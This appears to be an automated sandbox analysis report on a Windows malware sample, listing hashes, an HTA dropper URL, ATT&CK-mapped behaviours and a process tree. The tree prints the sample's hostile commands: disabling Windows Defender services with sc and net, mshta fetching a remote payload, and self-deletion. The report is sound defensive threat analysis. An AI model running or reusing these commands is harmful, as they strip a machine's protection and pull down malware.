Analysis

  • max time kernel
    150s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-08-2024 07:17

General

  • Target

    bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    bace3b705692dd51098d62cfab3e4c7a

  • SHA1

    709c80482b025237a006bb84101cfa3d1327c0e9

  • SHA256

    0f8478e87936627ba79b070ef5e433348b2b490f41409004651bf8127b197ff3

  • SHA512

    429b74ba446fff14365e57648b485d1513a69858fdd5627335a232fdffd76f2af122cc023a8b0eaf456a658fc2b605b920049bac2264af34ee724c3131aa4749

  • SSDEEP

    49152:CMGZ+nS10IELGTCb6bweJKFbC8PX8lD6qo9jTdpA4GkxDC:CySeIELGGbc0FbxI+q6TdpA4xpC

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=KVIWLPUJ&2=i-s&3=225&4=9200&5=6&6=2&7=919041&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4792
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1188
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2776
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3896
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3076
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1868
    • C:\Users\Admin\AppData\Roaming\Microsoft\kitljn.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\kitljn.exe
      2⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:4260
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2312
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1296
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3068
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4768
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:4888
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=KVIWLPUJ&2=i-s&3=225&4=9200&5=6&6=2&7=919041&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1584
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\BACE3B~1.EXE" >> NUL
      2⤵
      • System Location Discovery: System Language Discovery
      PID:32

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\kitljn.exe

    Filesize

    2.2MB

    MD5

    bace3b705692dd51098d62cfab3e4c7a

    SHA1

    709c80482b025237a006bb84101cfa3d1327c0e9

    SHA256

    0f8478e87936627ba79b070ef5e433348b2b490f41409004651bf8127b197ff3

    SHA512

    429b74ba446fff14365e57648b485d1513a69858fdd5627335a232fdffd76f2af122cc023a8b0eaf456a658fc2b605b920049bac2264af34ee724c3131aa4749

  • memory/4260-33-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/4260-29-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/4792-15-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-13-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-24-0x0000000003670000-0x0000000003671000-memory.dmp

    Filesize

    4KB

  • memory/4792-23-0x0000000000910000-0x0000000000911000-memory.dmp

    Filesize

    4KB

  • memory/4792-22-0x00000000008F0000-0x00000000008F1000-memory.dmp

    Filesize

    4KB

  • memory/4792-21-0x0000000003640000-0x0000000003643000-memory.dmp

    Filesize

    12KB

  • memory/4792-20-0x00000000036A0000-0x00000000036A1000-memory.dmp

    Filesize

    4KB

  • memory/4792-19-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-18-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-17-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-16-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-0-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/4792-14-0x0000000003870000-0x0000000003871000-memory.dmp

    Filesize

    4KB

  • memory/4792-10-0x0000000003650000-0x00000000037D0000-memory.dmp

    Filesize

    1.5MB

  • memory/4792-12-0x0000000003650000-0x0000000003652000-memory.dmp

    Filesize

    8KB

  • memory/4792-11-0x0000000003660000-0x0000000003661000-memory.dmp

    Filesize

    4KB

  • memory/4792-9-0x0000000003650000-0x00000000037D0000-memory.dmp

    Filesize

    1.5MB

  • memory/4792-8-0x0000000003650000-0x00000000037D0000-memory.dmp

    Filesize

    1.5MB

  • memory/4792-5-0x0000000002720000-0x0000000002721000-memory.dmp

    Filesize

    4KB

  • memory/4792-4-0x0000000001030000-0x0000000001031000-memory.dmp

    Filesize

    4KB

  • memory/4792-3-0x0000000001040000-0x0000000001041000-memory.dmp

    Filesize

    4KB

  • memory/4792-2-0x00000000026D0000-0x00000000026D1000-memory.dmp

    Filesize

    4KB

  • memory/4792-6-0x00000000026F0000-0x00000000026F1000-memory.dmp

    Filesize

    4KB

  • memory/4792-7-0x0000000002740000-0x0000000002741000-memory.dmp

    Filesize

    4KB

  • memory/4792-32-0x0000000002670000-0x00000000026CA000-memory.dmp

    Filesize

    360KB

  • memory/4792-31-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/4792-1-0x0000000002670000-0x00000000026CA000-memory.dmp

    Filesize

    360KB